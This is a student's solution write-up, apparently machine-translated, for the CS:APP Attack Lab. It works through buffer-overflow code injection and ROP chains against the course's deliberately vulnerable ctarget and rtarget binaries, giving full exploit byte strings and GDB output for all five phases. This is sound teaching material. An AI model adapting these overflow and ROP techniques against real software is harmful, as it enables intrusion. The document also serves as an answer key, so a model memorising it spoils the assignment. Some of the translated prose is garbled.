CSAPP Experiment 3: attack Lab

1、 Resource overview

Download the compressed package Target1 from the website and unzip it to include the following files:
– README.txt : introduction of each file in the folder.
– ctarget and rtarget: executable files used for attack- cookie.txt : an eight hexadecimal number, some attacks will use.
– farm. C: source code of “gadget farm” used in ROP attack.
– hexraw: a tool for generating attack strings.

2、 Precautions

    to run ctarget and rtarget, the following parameters can be used:
    to run ctarget and rtarget

    -q: Self study is a required parameter to avoid the program looking for the teacher’s server. -h: List possible command line arguments – I file: read input from a file, not from standard input. Use “/ hexraw” to convert the expand string to bytecode. Reference for usage attack.pdf Appendix A of. In short, the input should be a set of two hexadecimal numbers separated by spaces. For example, hexadecimal 0 should be written as 00, and 0xdeadbeef should be written as “EF be ad de”. The usage of hexraw is as follows:

    unix> cat exploit.txt | ./hex2raw | ./ctarget

    This experiment can refer to section 3.10.3 and 3.10.4 of CS: app3e. If RET command is used to attack, the address should be one of the following:
    0

    The address of the function touch1, touch2 or touch3 is used to inject code. When constructing gadgets from rtarget file, the address should be in start_ Farm and end_ Between farms. The vulnerability lies in the getbuf function: it is impossible to know whether the buffer can hold the read string.

    unsigned getbuf()
    {
        char buf[BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

3、 Part I: code injection attacks

Attack target: when ctarget ctarget runs, the position on the stack is continuous, so the data on the stack is executable.

Phase 1

    task: when ctarget returns from getbuf, execute the code of touch1 instead of returning to test. Suggestions:

    Only disassembly code is required for the required information. You can use objdump – D to pay attention to the byte order, use GDB, and debug in the last few steps of getbuf to confirm that the position of buf in the stack frame depends on the constant buffer at compile time_ Size, and the allocation strategy used by GCC. The position of buf needs to be determined according to the disassembly code. View getbuf

    gdb-peda$ disas getbuf
    Dump of assembler code for function getbuf:
    => 0x00000000004017a8 <+0>:     sub    rsp,0x28
    0x00000000004017ac <+4>:        mov    rdi,rsp
    0x00000000004017af <+7>:        call   0x401a40 <Gets>
    0x00000000004017b4 <+12>:       mov    eax,0x1
    0x00000000004017b9 <+17>:       add    rsp,0x28
    0x00000000004017bd <+21>:       ret    
    End of assembler dump.

    It is easy to find that the buffer size of buf is 0x28, so after filling 40 double words, the written address can cover the return address ret. Remember to make up the 0 after the address.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    c0 17 40 00 00 00 00 00

    Phase 1 is OK.

    cd@ubuntu :~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch1! : You called touch1()
    Valid solution for level 1 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:1 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00

Phase 2

    task: when ctarget returns from getbuf, execute the code of touch2 instead of returning to test. And pass the cookie as a parameter to touch2. The code of touch2 is as follows:

    void touch2(unsigned val)
    {
        vlevel = 2;             /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }

    Suggestions:

    The first argument passed to the function is saved in% RDI. The injection code should set the value of the register to a cookie, and then use the RET instruction to jump to touch2. The RET instruction is always used to perform the control transfer of the program. reflection:

    The workflow of injecting code is as shown in the above suggestion. First, set the value of% RDI to the value of cookie, and then use the RET instruction to jump to touch2. The question is, how can we do the second step? The function of RET instruction: pop up address a from the stack, and then set PC to a. Usually the book is about how to use call and RET together. Here, you can use the RET function alone to push the address of touch2 into the stack to make it at the top of the stack, and then the RET instruction will transfer the control to touch2. Attention! The return address should be filled with 00 prefix; the address pressed into the stack should have * * a * * 00 prefix, the extra 00 will be mixed into the next instruction, and if there is no 00, the next instruction will be regarded as the address (GCC will handle it well, don’t add or delete it by itself).

    48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
    68 ec 17 40 00              /* pushq  $0x4017ec        */
    c3                          /* retq                    */
    00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00     /* old %rsp                */

    Phase 2 passed.

    cd@ubuntu :~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
    Cookie: 0x59b997fa
    Type string:Touch2! : You called touch2(0x59b997fa)
    Valid solution for level 2 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:2 :48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Phase 3

    task: phase 3 also needs to pass cookie as a parameter to touch3. But you need to pass the cookie as a string. Touch3 Code:

    /* Compare string to hex represention of unsigned value */
    int hexmatch(unsigned val, char *sval)
    {
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;
        sprintf(s, "%.8x", val);
        /* cookie is trasfered from unsigned to string */
        return strncmp(sval, s, 9) == 0;
    }
    
    void touch3(char *sval)
    {
        vlevel = 3; /* Part of validation protocol */
        if (hexmatch(cookie, sval)) {
            printf("Touch3!: You called touch3(\"%s\")\n", sval);
            validate(3);
        } else {
            printf("Misfire: You called touch3(\"%s\")\n", sval);
            fail(3);
        }
        exit(0);
    }

    Suggestions:
    1

    You need to convert the cookie to a string representation. 8-digit hexadecimal Cookie – & gt; 8 hexadecimal digits. Note that the string ends with byte 0! The injection code should set% RDI to the address of the string. When calling hexmatch and strncmp, it will push the data onto the stack, so it will cover part of the memory in the buffer used by getbuf. Therefore, choose carefully where to put the cookie. Thinking: to pass the cookie string as a parameter to touch3. Then you need to find a location in the stack to save the cookie string. Modify the expand of phase 2, first put the cookie in the position of 0x5561dca8.

    48 c7 c7 88 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    35 39 62 39 39 37 66 61         /* $0x59b997fa, cookie     */
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                    */

    At the & lt; + 17 & gt; and & lt; + 28 & gt; breakpoints of touch3, compare the changes of memory on the stack before and after calling hexmatch.

    gdb-peda$ disas touch3
    Dump of assembler code for function touch3:
       0x00000000004018fa <+0>:     push   rbx
       0x00000000004018fb <+1>:     mov    rbx,rdi
       0x00000000004018fe <+4>:     mov    DWORD PTR [rip+0x202bd4],0x3        # 0x6044dc <vlevel>
       0x0000000000401908 <+14>:    mov    rsi,rdi
       0x000000000040190b <+17>:    mov    edi,DWORD PTR [rip+0x202bd3]        # 0x6044e4 <cookie>
       0x0000000000401911 <+23>:    call   0x40184c <hexmatch>
       0x0000000000401916 <+28>:    test   eax,eax
       0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
       0x000000000040191a <+32>:    mov    rdx,rbx
       ......
    End of assembler dump.

    ≪ + 17 & gt;, where 0x5561dc78 ~ 0x5561dc9f are buffers with a size of 40 bytes. You can see that the memory of 0x5561dca0 is no longer the content written by expand, because touch3 has the operation of push RBX.

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x48    0xc7    0xc7    0x88    0xdc    0x61    0x55    0x68
    0x5561dc80: 0xfa    0x18    0x40    0x00    0xc3    0x00    0x00    0x00
    0x5561dc88: 0x35    0x39    0x62    0x39    0x39    0x37    0x66    0x61
    0x5561dc90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    ≪ + 28 & gt;, where 0x5561dc78 ~ 0x5561dca0 are buffers. At this time, the content of the original buffer is basically different from the content written by expand.

    gdb-peda$ x /56b 0x5561dc78
    0x5561dc78: 0x00    0xcc    0xb4    0x4a    0x28    0xa7    0xa4    0xb5
    0x5561dc80: 0x88    0xdc    0x61    0x55    0x00    0x00    0x00    0x00
    0x5561dc88: 0xe8    0x5f    0x68    0x55    0x00    0x00    0x00    0x00
    0x5561dc90: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    0x5561dc98: 0x16    0x19    0x40    0x00    0x00    0x00    0x00    0x00
    0x5561dca0: 0x00    0x60    0x58    0x55    0x00    0x00    0x00    0x00
    0x5561dca8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

    For analysis, because hexmatch, sprintf and strncmp are called many times to press the stack, and the stack address written to the cookie is random, the incoming string cannot be saved in the buffer of getbuf function. The possible way is to save the string in the stack of getbuf’s parent process. As shown in exploit-3. exploit-3

    48 c7 c7 a8 dc 61 55            /* mov    $0x5561dca8,%rdi */
    68 fa 18 40 00                  /* pushq  $0x4018fa        */
    c3                              /* retq                    */
    00 00 00
    FA 97 B9 59 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00         /* %rsp                */
    35 39 62 39 39 37 66 61 00      /* cookie, at $0x5561dca8 */

    Phase 3 passed successfully.
    sh
    gdb-peda$ c
    Continuing.
    Type string:Touch3! : You called touch3("59b997fa")
    Valid solution for level 3 with target ctarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : ctarget:3 :48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

4、 Part II: return oriented programming

In short, Part II is the same target as phase 2 and phase 3, but it needs to use ROP attack. Each gadget can implement a small step to complete the operation on the register, then RET, and then execute the next gadget. A series of executed gadgets form a chain to achieve our goal.

readme.pdf This paper gives byte encodings of instructions. When doing the questions, we can find out whether there are matching gadgets in the gadgets farm.

Rtarget uses two techniques to prevent code injection attacks

    stack address randomization stack is not executable
attack mode: execute existing code instead of injecting new code. The most common is ROP.

    ROP can form a chain of gadgets. Through the RET instruction at the end of each gadget, the program can jump to the beginning of the next gadget. The gadgets farm in rtarget is created by start_ Farm and end_ Farm, do not try to build gadgets from other parts of the program.
the following commands are allowed:

Suggestions of movqpopqretnop:
1

Delimitation area: from start_ Farm to mid_ Farm this attack can only use two gadgets. When a gadget uses the POPQ instruction, it will pop data from the stack. Therefore, the expand string should contain the widget address and data.

Phase 4

    thinking:
    first pass the cookie into% RDI, and then go to the touch2 function. according to readme.pdf POPQ% RDI is not found in gadets farm. So we can first POPQ% rax, then movq% rax, and% rdiexploit-4
    here, the buffer is completely filled with junk, and then execute downward from RET of getbuf. Two gadgets are used, and the data used is also put on the stack.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    cc 19 40 00 00 00 00 00     /* jump 0x4019cc; popq %rax         */
    fa 97 b9 59 00 00 00 00     /* cookie                           */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5; movq %rax, %rdi   */
    ec 17 40 00 00 00 00 00     /* touch2                           */

    Through phase 4

    gdb-peda$ r -q < ./exploit-4-raw.txt 
    Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt
    Cookie: 0x59b997fa
    Type string:Touch2!: You called touch2(0x59b997fa)
    Valid solution for level 2 with target rtarget
    PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab attacklab
        result  1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 5

    thinking: just like phase 5, we need to consider how to store the cookie string, and we need to solve the problem of passing the string address to% RDI. First of all, the buffer of getbuf should all be filled with junk, so the cookie string must be placed at the end of the exploit in order not to interfere with the normal operation of the exploit. Second, at the beginning, we found many operations in the gadgets farm as follows:

    mov    $0x909078fb,%eax
    lea    -0x3c3876b8(%rdi),%eax
    movl   $0xc7c78948,(%rdi)
    ......

    So I thought about using these values to piece together an address and put the cookie string there. But because of stack randomization, this idea is not good. Later, after reading some answers, I found that there was a magic operation like movq% RSP% rax, so that I could get the address of the cookie string in the way of (% RSP) + X. Then it’s a patchwork, using eight gadgets to complete the expand. Exploit-5
    for this kind of exploit, which needs a lot of gadgets to complete, I think the idea must be the most important, but after the idea is clear, when composing the chain of gadgets, you might as well use the reverse order search method, which may be faster. Of course, we will definitely use some tools to find gadgets in the future.

    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    AA AA AA AA AA AA AA AA
    06 1a 40 00 00 00 00 00     /* jump 0x401a06               ;movq %rsp, %rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    ab 19 40 00 00 00 00 00     /* jump 0x4019ab               ;popq %rax       */
    48 00 00 00 00 00 00 00     /* distance from here to cookie string          */
    dd 19 40 00 00 00 00 00     /* jump 0x4019dd               ;movl %eax, %edx */
    34 1a 40 00 00 00 00 00     /* jump 0x401a34               ;movl %edx, %ecx */
    13 1a 40 00 00 00 00 00     /* jump 0x401a13               ;movl %ecx, %esi */
    d6 19 40 00 00 00 00 00     /* jump 0x4019d6        ;lea (%rdi,%rsi,1),%rax */
    c5 19 40 00 00 00 00 00     /* jump 0x4019c5               ;movq %rax, %rdi */
    fa 18 40 00 00 00 00 00     /* touch3                                       */
    35 39 62 39 39 37 66 61     /* cookie string                                */
    00 00 00 00 00 00 00 00     /* string ends with 00                          */

    Through phase 5

    GDB PEDA $
    continuing.
    type string:Touch3! : You called touch3("59b997fa")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
    user id bovik
    course 15213-f15
    lab attacklab
    result 1: PASS:0xffffffff : rtarget:3 :AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

5、 References

    CS: app supporting Experiment 3: attack lab notes [Reading thick CSAPP] III GDB quick guide of attack labbeej

Read More: